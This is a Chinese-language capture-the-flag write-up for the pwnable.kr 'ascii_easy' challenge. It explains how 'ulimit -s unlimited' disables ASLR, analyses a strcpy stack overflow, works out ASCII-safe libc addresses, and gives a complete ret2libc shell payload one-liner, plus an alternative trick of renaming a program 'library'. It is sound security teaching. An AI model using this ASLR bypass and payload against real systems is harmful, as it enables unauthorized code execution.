[Pwnable.kr] ascii_easy
这应该是网上这道题第一篇公开的solution吧。首先要感谢一下韩国小哥inhack,虽然他的blog基本都是加密的,然而我在fb上联系到他之后他很热情地引导我做出了这道题,让我学到了新的东西。
这道题首先给出了提示”ulimit”,这里是一个可以禁用ALSR的黑科技,当设置ulimit -s unlimted时,系统的ALSR将会失效,原因在于arch/x86/mm/mmap.c中:
1 2 3 4 5 6 7 8 9 10 |
static int mmap_is_legacy(void) { if (current->personality & ADDR_COMPAT_LAYOUT) return 1; if (rlimit(RLIMIT_STACK) == RLIM_INFINITY) return 1; return sysctl_legacy_va_layout; } |
在第二个if会返回true,所以ALSR就不起作用了,所有的地址成为固定值。
然后我们再看这个题,F5反汇编得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // ebx@6 unsigned int v5; // [esp+28h] [ebp-Ch]@4 char *v6; // [esp+2Ch] [ebp-8h]@1 v6 = (char *)mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0); if ( v6 != (char *)0x80000000 ) { puts("mmap failed. tell admin"); _exit(1); } printf("Input text : "); v5 = 0; do { if ( v5 > 0x18F ) break; v3 = &v6[v5]; *v3 = getchar(); ++v5; } while ( is_ascii(*v3) ); puts("triggering bug..."); return (int)vuln(); } _BOOL4 __cdecl is_ascii(signed int a1) { return a1 > 31 && a1 <= 127; } char *vuln() { char dest; // [esp+10h] [ebp-A8h]@1 return strcpy(&dest, (const char *)0x80000000); } |
可以看出vuln()中dest长度为0xA8,而strcpy的源字符串长度最大 0x18F,存在栈溢出。常规的想法是通过一个 “x”*0xA8 + oebp + ret_addr + ‘xxxx’ + ‘sh’ 的payload覆盖ret,控制eip执行system(‘/bin/sh’)拿到shell。
然后使用gdb查看system的函数地址:
F9%Z7LVM” width=”415″ height=”115″>
这个函数地址是符合要求的(能通过ascii检查),再看一下system函数在libc中的地址:
是0x3f250.
然后我们还需要在libc里面找一个”sh\x00″的字符串地址,我们使用ida的search -> sequence of bytes功能,搜索”73 68 00″,找到了四个结果,我们依次看看这四个结果。
假设”sh\x00″的起始地址是str_addr,那么libc加载到ascii_easy之后的地址应该是 0x555c5250 – 0x3f250 + str_addr
上面四个地址计算结果分别是(注意左边一栏并不是sh的开始地址,而是指令的开始地址):0x556E2495,0x556E2801,0x556E4A31,0x556E69C2,其中只有第三个(0x556E4A31)是可以通过ascii的检查的,所以我们使用这个做为system()的参数字符串指针地址。
所以最后的payload是:
1 |
(python -c "print 'A'*0xa8 + 'aaaa' +'\x50\x52\x5c\x55'+'aaaa'+'\x31\x4a\x6e\x55'";cat) | ./ascii_easy |
这个题到这里已经结束了,但是在以前(大概是去年)这么做还不行,因为据inhack说当时的libc的system地址跟我现在看到的不一样,导致四个”sh”的字符串地址都无法使用。所以他需要用别的方法,比如:将自己的tmp目录加入环境变量,写一个只包含system(“/bin/sh”)的c程序,然后到libc中寻找可以使用的字符串,比如:
这里的library的地址计算之后恰好可以通过ascii检查,那么就让自己的可执行文件名字改成library,这样调用library可以直接执行自己写的程序。
Yiz96同学,您好,我对于“让自己的可执行文件名字改成library,这样调用library可以直接执行自己写的程序”这一句话不是很了解,不知道能不能解释一下?
最后一张图,利用“library”这个字符串,执行环境变量里面(tmp)下我们执行的执行文件来得到shell